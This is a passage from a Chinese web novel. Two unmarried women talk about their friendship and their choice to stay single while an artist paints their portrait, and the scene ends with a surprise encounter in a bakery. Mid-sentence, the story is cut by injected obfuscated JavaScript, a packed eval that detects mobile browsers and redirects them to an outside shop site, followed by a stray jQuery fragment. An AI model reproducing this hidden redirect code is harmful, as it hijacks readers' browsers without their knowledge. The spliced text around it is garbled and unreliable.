“可不是吗?那段时间,虽然我相亲相得已经开始摆烂了,可心里终归还是有点压力。遇上露洋之后,我好像才发现原来人生还有另一种可能性。”彭笑偏头看了李露洋一眼,又笑道,“对了,不如让她自己讲讲吧。我是老师,总有些爱唠叨的职业病。”
李露洋略加思索,对姜白夜道:“我二十来岁的时候,也不是没有谈过恋爱。可是小时候看我妈、姨妈、舅妈那些上一代女性在婚姻里的处境,我就觉得,这种生活不适合我。”
“我以前那些恋爱对象,倒也不是因为做错了什么我才和他们分开的。只是每当关系要往稳定、结婚的方向走,我就会觉得自己的生活和自由开始一点点被挤压。我也越来越频繁地需要和男朋友解释,为什么我宁愿一个人花钱去旅行,也不想有个人在路上替我拎包、帮我买单。”
李露洋又道:“我不否认有些人的婚姻很幸福,两个人过起日子每天也开心得不得了。只是我个人更喜欢那种灵活、有弹性的生活。想去外地看一个自己其实没那么喜欢的演唱会,就随手订票;想在一个城市多待两天,就续住酒店、改签火车。这种自由感,对我来说很重要。”
彭笑忍不住插话:“是啊,我以前就不行,总觉得不相亲就是对不起家里人,不结婚,人生就卡住了。”
“所以你就需要那一场命运的剧本杀嘛。至少在剧本里,咱们当的是侦探、凶手、目击者,而不是谁谁谁的老婆。”
彭笑被她逗乐了:“可太对了。那次去联谊,没认识到对象,倒认识了个能让我松口气的女性朋友。后来我俩约着出去玩,节奏也特别放松。我爱逛博物馆,她爱city walk。我们想一起玩就在一起玩,想分开旅行一天就分开,也不用像以前和男朋友在一起时一样,处处小心,顾忌对方想去哪儿、不想去哪儿。”
她越说越起劲:“总之,我觉得露洋那种自由随心的生活方式对我影响挺大的。上学期有个学生被我批评了,随口骂我一句‘老处女’。要是放在十年前,我肯定会破防,因为他正好戳中了我相亲屡战屡败的痛点。可现在我已经学会一笑而过了——这学生骂我三个字,也就勉强骂对了一个‘女’字,根本伤害不到我半点嘛!”
李露洋笑得肩膀直抖:“彭老师这几年进步确实很大。以前别人问她怎么还不结婚,她还会很认真解释半天。现在有人问,她就说:我还没批改完单身这张卷子,不急着交卷。”
彭笑摆摆手:“别听她胡说,我哪有这么文艺,就是在你面前贫贫嘴罢了,真到亲戚面前还是得摆一张苦脸装个样子。”
“你有。”李露洋毫不客气地拆台,“你只是在学生面前不好意思承认。说起改卷子,我想起来……”
两人分享着单身生活里的一个个片段,姜白夜做笔记的手都停不下来了。
到最后,还是姜白夜主动提醒两人:“姐姐,听你们讲故事真的很愉快,不过我现在得先开画了,要不时间来不及。我画的时候,你们想到什么,可以继续补充。”
两人便从书架上各取了一本书,一边等姜白夜作画,一边互相分享书里看到的点点滴滴。
很快,姜白夜就勾勒出了两个随意坐在沙发上的女性形象。她们神态自信,脸上的笑容比二十多岁还在探索世界的大学毕业生更多了一分沉稳和从容。
这幅肖像画,无论是姜白夜,还是那股神秘力量,都没有加入太多奇绝的巧思。在姜白夜看来,她们脸上那份舒展和自信,就是这幅肖像最大的特色。
两人身旁都放着旅行箱。李露洋左手拿着一张车票,右手则握着演唱会荧光应援棒。
彭笑的眼神则安稳落在手里的剧本杀角色卡上,像是在思考推理游戏的答案,却又不急着给出答案。
姜白夜不想让背景喧宾夺主,只打算在后面随便勾几笔淡淡的色彩,免得画面太空。
可勾着勾着,那些原本随意的线条延伸得越来越长。一片故意画得模糊、代表夜色的深蓝里,突然出现了远山、河面,还有星星点点的城市灯火。
姜白夜揣摩着那股神秘力量的意思,顺着这微妙的变化继续画下去。
她把画像间的椅背画成了一节列车车厢的座椅,而画面上的两个人也成了出现在车窗倒影里的对称人像。
李露洋手上的火车票原本只是白板一张,姜白夜又刷刷几笔,在上面写下“下一站:”。
后面的站点名,她特意留空了。
两人看到画时,反应都挺轻松。李露洋第一眼就注意到自己手里的火车票,看了一会儿说道:“这张票挺好的,没有写具体终点,省得别人老来问我的下一站是不是结婚生孩子!”
彭笑笑着说:“你看,老板都知道你烦这个。”
她又看向整幅画,感慨起来:“这场旅行画得真的挺好。我忽然觉得,那场剧本杀联谊,可能真的是我人生中最成功的一次联谊了。对象没找着,旅伴找着了。其实也算找到了我最想过的那种人生吧。”
李露洋也笑道:“这幅画画得挺舒服的,至少没把我画成一个孤独站在山顶、举着不婚不育大旗的女战士。我和别人说我是坚定的不婚主义者,好多人都觉得我是不是在哪个男人那里受过伤,所以爱不上别人了。还有人不分青红皂白地来骂我,说我宣传极端思想,不利于社会健康发展。我就纳闷了,我自己过自己开心的生活,不管是开店赚钱还是外出消费,不都是贡献GDP吗?怎么就有碍社会发展了呢?”
最后,还是当老师的彭笑做出了最深刻的点评:“我觉得我俩喜欢这幅画,是因为你把我们的关系画得轻松自由,有陪伴感,但又不是传统意义上黏在一起的两个闺密。总之,就很符合我俩的关系定位吧。”
两个人,一幅画。
不远处的云华路22号有家打印
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966817|210144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
店,能做彩色复印。不过两人也不争不抢。
彭笑说:“这幅画裱起来,可以挂在露洋的店里。不说招揽顾客,至少也让顾客知道,这家店的老板是个多么开心自由的女孩子。再说了,我也经常去她店里买吃的,想看这幅画了,再去店里就是。”
两人说说笑笑,挑了个好看的画框,又买了好几种不同的甜品,才去前台结账。
王书宁给两人夹着她们点的甜品,姜白夜把画装进保护袋,两人还在互相拍照。
彭笑见手边有免费试吃的小盘子,便顺手拿了一块南瓜红豆小方饼。
那不甜不腻的口味,清新自然的香气,还有入口即化的质感,让彭笑都不由得惊叹:“这个好吃!”
李露洋对同伴如此大的反应感到很不寻常:“这么厉害吗?让我尝尝。好吃的话,我可得偷师学艺了。”
只可惜,刚才进了彭笑嘴里的,是试吃盘上最后一块。
姜白夜连忙安慰李露洋:“没事,我们糕点师做了好多。等下一锅出炉,我送你一块。”
这个提议却被彭笑直接否决了:“哎,不用不用,这个小方饼直接给我打包十五块。”
王书宁听了,忙不迭在展示柜里夹了六块,遗憾地告诉彭笑:“如果您要十五块的话,可能还要等下一锅出炉。我这儿只剩六块了,您看看……”
“大概等多久?几分钟的话,等等也无妨。”
王书宁走到吧台后离烘焙间稍近的位置,扯着嗓门喊起来:“月英,南瓜红豆方饼还有多久啊?”
吵闹的烘焙间里,隐约传来月英被口罩捂住的声音:“还有两分钟,马上就好。”
王书宁兴奋地把这个消息传达给依然在吧台等候的两人,却见原先还兴奋得叽叽喳喳的李露洋,眉头忽然轻轻皱了起来。
王书宁不知道她想到了什么,也不敢问。
也许是忽然想到工作上的头疼事;也有可能是裙子夹裆里,不好意思当着店里这么多人的面拿出来;又或者是一口气买十五块方饼的同伴不小心踩了她一脚……
总之,王书宁只能把视线移开,假装自己什么都没发现。
两分钟后,月英端着刚出炉的一盘低糖小点心出来,还没来得及看清前台排队的客人,就赶忙对王书宁说:“书宁姐,这盘烤了二十多个南瓜小方饼,应该够吧?下一盘的话,得再等十分钟了。”
看见王书宁在忙着结账,姜白夜也正在装画,都不是能立刻洗干净手、拿刀切糕点的人,月英便道:“你们等等,我再切两块放试吃盘里。”
这时她才抬头看了一眼前台的两个客人。
这一看不要紧,月英和李露洋一对视,两个人都怔住了。
李露洋似乎已经做了一些心理准备,只是有些意外。可月英一下子瞪大了眼睛,手里的夹子都差点没拿稳。
“李……李老板?”